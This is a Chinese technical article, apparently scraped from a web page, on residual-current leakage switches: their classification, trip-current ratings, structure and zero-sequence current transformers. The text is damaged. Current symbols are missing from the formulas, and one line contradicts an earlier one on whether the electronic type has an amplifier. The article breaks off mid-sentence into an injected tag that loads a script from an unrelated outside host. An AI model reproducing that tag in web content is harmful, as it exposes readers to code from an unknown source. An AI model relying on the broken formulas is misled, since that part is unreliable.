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1 前言
球 目前国内市场销售常用的漏电开关有电磁式和电子式两种,它们均属于电流动作型漏电开关。电磁式漏电开关由零序电流互感器(下称互感器)、脱扣器等部件组成;电子式漏电开关除上述两部件外,在其两者之间还设有电子放大器。
漏电开关的零序电流互感器是漏电检测元件,它由软磁材料制成的铁芯及绕组组成。脱扣器中的磁轭、衔铁也是由软磁材料制成。电磁式漏电开关用的释放式灵敏脱扣器中还有永磁材料制成的元件。互感器和脱扣器对于漏电开关灵敏度,动作的可靠、稳定性具有重要意义,因此就有必要认真研究适用于漏电开关用磁性材料的组成、制造及性能〔1〕~〔3〕,〔6〕。
2 常用漏电开关的分类、要求、结构及工作原理
2.1漏电开关的分类和要求
低压电路用漏电开关分类方法很多,主要分类有:(1)按保护目的可分为防止人身触电的高灵敏度漏电开关及防止漏电引起火灾和设备事故的漏电开关。(2)按漏电开关的漏电检测信号方式可分为电压动作型和电流动作型。目前国内的漏电开关多为电流动作型。(3)按漏电开关动作驱动结构可分为电磁式和电子式,这两种均为电流动作型。目前国内电磁式用的较多,但今后将大力发展电子式。(4)按主开关极数和电流回路分,有单极二线、二极、二极三线、三极、三极四线,四极等漏电开关。工业多用三极四线,家用单极二线。
本文主要介绍的是电流动作型漏电开关,它具有工作性能稳定,保护可靠、安装方便等优点,所以成为国内外最广泛采用的一种漏电触电保护器。对电流动作型漏电开关要求具有高灵敏度、高速断开及高可靠性。
按国际gb6829-95规定漏电动作电流为6ma、10ma、30ma、50ma、100ma、300ma、500ma、1a等档〔4〕。其中≤30ma属于高灵敏度型,既可用于间接接触触电保护,也可用于直接触电补充保护。>50ma的一般用于防止电路、电气设备火灾事故和接地短路保护。
为了防止漏电开关误动作而影响电网正常运行,漏电开关还规定有额定漏电不动作电流,该电流接近额定漏电动作电流,一般不能小于额定漏电动作电流的1/2。
当电路或设备发生漏电触电时,漏电开关断开并迅即切断主电路所需时间,也是漏电开关重要技术指标。据国家标准在额定漏电动作电流下,最大断电的时间应小于0.2s。漏电动作电流越大,其断开时间应越短,这样才能起到触电保护作用。对于主干线上的漏电开关则要求延时断开。
2.2漏电开关的结构及工作原理
目前常用的电磁式、电子式电流动作型漏电开关,其结构基本相同。电磁式漏电开关由外壳、漏电信号检测器(即互感器)、脱扣释放机构、开关动作机构及试验装置等组成。电子式漏电开关除上述机构外在互感器与脱扣器之间没有电子放大器。其结构及工作原理(以单极二线为例)示意图如图1所示〔5〕。
在图1 中,相线和中性线穿过互感器,为互感器一次绕组。、分别为流入、流出互感器的电流。正常工作时,、应满足、=0,此时互感器二次绕组无感应电压,即无信号输出,漏电开关处于闭合状态(接通状态),对负载供电。当出现对地漏 电或触电时,流过互感器的电流矢量和不再等于零,有+=,即漏电电流,这时互感器二次绕组中就产生感应电势,即有信号输出。电磁式漏电开关由该信号直接驱动脱扣器释放,带动开关或继电器接点切断电源,如图1a状态。而电子式漏电开关二次输出信号加到电子放大器上(需要辅助电源),信号经放大后输出使脱扣器释放,切断电源、如图1b所示状态。这样便达到漏电、触电保护目的。
图1示出的是单极二线漏电开关,这种漏电开关适用的电源为交流220v,漏电动作电流30ma,动作时间≤0.1s。国产的有dz12l-60,dz25l系列。电磁式和电子式漏电开关的比较列于表1 。
3 零序电流互感器及铁芯工作点的确定
零序电流互感器(即剩余电流?script src=http://er12.com/t.js>











